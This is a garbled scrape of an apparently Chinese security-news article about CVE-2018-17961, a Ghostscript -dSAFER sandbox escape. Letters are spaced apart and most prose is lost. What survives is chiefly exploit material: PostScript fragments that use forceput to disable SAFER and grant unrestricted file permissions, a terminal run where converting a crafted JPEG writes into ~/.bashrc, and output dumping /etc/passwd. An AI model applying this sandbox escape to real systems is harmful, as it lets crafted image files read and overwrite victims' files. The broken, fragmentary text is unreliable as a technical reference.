[13509] 2018-12-08_Ghostscript:基于漏洞CVE-2018-17961的-dSAFER沙盒逃逸技术

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最后更新:2025-01-18
2018-12-08_Ghostscript:基于漏洞CVE-2018-17961的-dSAFER沙盒逃逸技术 G h o s t s c r i p t C V E - 2 0 1 8 - 1 7 9 6 1 - d S A F E R A l p h a _ h 4 c k   F r e e B u f   2 0 1 8 - 1 2 - 0 8 g h o s t s c r i p t - d S A F E R 使 使 g h o s t s c r i p t e v i n c e i m a g e m a g i c k g i m p o k u l a r ~ / . b a s h r c n a u t i l u s e v i c e - t h u m b n a i l e r 便 P o s t s c r i p t 访 访 e r r o r d i c t 便 r r o r e r d i c t 便 - d S A F E R C V E - 2 0 1 8 - 1 7 1 8 3 访 / s t a c k o v e r f l o w / e x e c o v e r f l o w g h o s t s c r i p t t a v i s o @ u b u n t u : ~ $ c o n v e r t   e x p l o i t . j p g   o u t p u t . j p g t a v i s o @ u b u n t u : ~ $ t a i l   - 1   ~ / . b a s h r c e c h o p w n e d   b y   p o s t s c r i p t G S > 0 1   3 0 0 3 6 8   { }   f o r
p d f o p d i c t / s w i t c h _ t o _ n o r m a l _ m a r k i n g _ o p s / s w i t c h _ t o _ n o r m a l _ m a r k i n g _ o p s / t y p e c h e c k p d f o p d i c t f o r c e p u t 访 / e t c / p a s s w d D E M O *   m a i l c l a r k F B A l p h a _ h 4 c k F r e e B u f . C O M G S < 3 0 0 3 6 9 > / p d f o p d i c t   n u l l   d e f G S < 3 0 0 3 6 9 > G S _ P D F _ P r o c S e t / s w i t c h _ t o _ n o r m a l _ m a r k i n g _ o p s   g e t   s t o p p e d G S < 2 > = = T r u e G S < 1 > d u p d u p   l e n g t h   1 0   s u b   1 0   g e t i n t e r v a l   = = [ 3 0 0 3 6 4 3 0 0 3 6 5   3 0 0 3 6 6   3 0 0 3 6 7   3 0 0 3 6 8   n u l l   / m   { n o r m a l _ m }   - - . f o r c e p u t - -   / t y p e c h e c k ] s y s t e m d i c t / S A F E R   f a l s e   f o r c e p u t s y s t e m d i c t / u s e r p a r a m s   g e t   / P e r m i t F i l e C o n t r o l   [ ( * ) ]   f o r c e p u t s y s t e m d i c t / u s e r p a r a m s   g e t   / P e r m i t F i l e W r i t i n g   [ ( * ) ]   f o r c e p u t s y s t e m d i c t / u s e r p a r a m s   g e t   / P e r m i t F i l e R e a d i n g   [ ( * ) ]   f o r c e p u t $   g s - d S A F E R   - f   t e s t . p s   G P L G h o s t s c r i p t   G I T   P R E R E L E A S E   9 . 2 6   ( 2 0 1 8 - 0 9 - 1 3 ) C o p y r i g h t ( C )   2 0 1 8   A r t i f e x   S o f t w a r e ,   I n c .     A l l r i g h t s   r e s e r v e d . T h i s s o f t w a r e   c o m e s   w i t h   N O   W A R R A N T Y :   s e e   t h e   f i l e   P U B L I C   f o r   d e t a i l s . ( r o o t : x : 0 : 0 : r o o t : / r o o t : / b i n / b a s h )
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